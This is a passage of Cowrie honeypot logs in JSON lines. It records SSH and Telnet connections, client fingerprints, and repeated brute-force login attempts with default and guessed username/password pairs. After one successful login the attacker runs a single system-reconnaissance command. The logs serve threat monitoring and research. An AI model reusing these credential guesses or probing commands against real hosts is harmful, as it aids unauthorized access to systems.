-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:27.496924Z","src_ip":"83.168.110.85","session":"7f97f9478f17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:28.031281Z","src_ip":"83.168.110.85","session":"7f97f9478f17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:29.163739Z","src_ip":"83.168.110.85","session":"7f97f9478f17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53980,"dst_ip":"10.17.0.5","dst_port":22,"session":"01e93ed4cb93","protocol":"ssh","message":"New connection: 83.168.110.85:53980 (10.17.0.5:22) [session: 01e93ed4cb93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:34.348555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:34.393941Z","src_ip":"83.168.110.85","session":"01e93ed4cb93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:34.470335Z","src_ip":"83.168.110.85","session":"01e93ed4cb93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:34.945755Z","src_ip":"83.168.110.85","session":"01e93ed4cb93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:36.282440Z","src_ip":"83.168.110.85","session":"01e93ed4cb93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41030,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8ab6344f271","protocol":"telnet","message":"New connection: 152.42.224.71:41030 (10.17.0.5:23) [session: a8ab6344f271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:37.362064Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53990,"dst_ip":"10.17.0.5","dst_port":22,"session":"3571c74907b6","protocol":"ssh","message":"New connection: 83.168.110.85:53990 (10.17.0.5:22) [session: 3571c74907b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:41.759289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:41.763905Z","src_ip":"83.168.110.85","session":"3571c74907b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:41.885357Z","src_ip":"83.168.110.85","session":"3571c74907b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41032,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b53d291c7ba","protocol":"telnet","message":"New connection: 152.42.224.71:41032 (10.17.0.5:23) [session: 6b53d291c7ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:41.949344Z"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:42.249331Z","src_ip":"83.168.110.85","session":"3571c74907b6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:42.530568Z","src_ip":"83.168.110.85","session":"3571c74907b6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:42.533255Z","src_ip":"83.168.110.85","session":"3571c74907b6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:42.657005Z","src_ip":"83.168.110.85","session":"3571c74907b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:42.663121Z","src_ip":"83.168.110.85","session":"3571c74907b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43702,"dst_ip":"10.17.0.5","dst_port":22,"session":"b827e1545a24","protocol":"ssh","message":"New connection: 83.168.110.85:43702 (10.17.0.5:22) [session: b827e1545a24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:48.761227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:48.765985Z","src_ip":"83.168.110.85","session":"b827e1545a24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:48.887527Z","src_ip":"83.168.110.85","session":"b827e1545a24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:49.256292Z","src_ip":"83.168.110.85","session":"b827e1545a24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:50.383367Z","src_ip":"83.168.110.85","session":"b827e1545a24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":30214,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e59f09ffe63","protocol":"ssh","message":"New connection: 2.57.121.112:30214 (10.17.0.5:22) [session: 3e59f09ffe63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:50.400918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:50.480204Z","src_ip":"2.57.121.112","session":"3e59f09ffe63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:50.584574Z","src_ip":"2.57.121.112","session":"3e59f09ffe63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"54321q","message":"login attempt [admin/54321q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:51.032052Z","src_ip":"2.57.121.112","session":"3e59f09ffe63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.9.152","src_port":39546,"dst_ip":"10.17.0.5","dst_port":22,"session":"54306079785e","protocol":"ssh","message":"New connection: 128.201.9.152:39546 (10.17.0.5:22) [session: 54306079785e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:51.415657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:51.420039Z","src_ip":"128.201.9.152","session":"54306079785e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:51.545244Z","src_ip":"128.201.9.152","session":"54306079785e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dis123","message":"login attempt [root/dis123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:52.076341Z","src_ip":"128.201.9.152","session":"54306079785e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"5369","message":"login attempt [admin/5369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:52.139795Z","src_ip":"2.57.121.112","session":"3e59f09ffe63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:53.205021Z","src_ip":"128.201.9.152","session":"54306079785e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"5366","message":"login attempt [admin/5366] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:53.246935Z","src_ip":"2.57.121.112","session":"3e59f09ffe63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"526452","message":"login attempt [admin/526452] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:54.354830Z","src_ip":"2.57.121.112","session":"3e59f09ffe63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":32354,"dst_ip":"159.203.135.109","dst_port":22,"session":"6126e0312ea0","protocol":"ssh","message":"New connection: 213.209.159.56:32354 (159.203.135.109:22) [session: 6126e0312ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:54.968050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:54.978777Z","src_ip":"213.209.159.56","session":"6126e0312ea0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:55.065416Z","src_ip":"213.209.159.56","session":"6126e0312ea0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40822,"dst_ip":"10.17.0.5","dst_port":22,"session":"43aeab8b327f","protocol":"ssh","message":"New connection: 83.168.110.85:40822 (10.17.0.5:22) [session: 43aeab8b327f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:55.447575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:55.452539Z","src_ip":"83.168.110.85","session":"43aeab8b327f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"51842543","message":"login attempt [admin/51842543] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:55.461978Z","src_ip":"2.57.121.112","session":"3e59f09ffe63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"annalee","password":"annalee","message":"login attempt [annalee/annalee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:55.478666Z","src_ip":"213.209.159.56","session":"6126e0312ea0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:55.573436Z","src_ip":"83.168.110.85","session":"43aeab8b327f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:55.937522Z","src_ip":"83.168.110.85","session":"43aeab8b327f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"annalee","password":"annalee1","message":"login attempt [annalee/annalee1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:56.564682Z","src_ip":"213.209.159.56","session":"6126e0312ea0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:56.574357Z","src_ip":"2.57.121.112","session":"3e59f09ffe63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:57.062299Z","src_ip":"83.168.110.85","session":"43aeab8b327f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"annalee","password":"annalee123","message":"login attempt [annalee/annalee123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:57.655688Z","src_ip":"213.209.159.56","session":"6126e0312ea0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"annalee","password":"annalee1234","message":"login attempt [annalee/annalee1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:58.742781Z","src_ip":"213.209.159.56","session":"6126e0312ea0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"annalee","password":"annalee12345","message":"login attempt [annalee/annalee12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:59.830516Z","src_ip":"213.209.159.56","session":"6126e0312ea0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:00.939927Z","src_ip":"213.209.159.56","session":"6126e0312ea0","protocol":"ssh"}
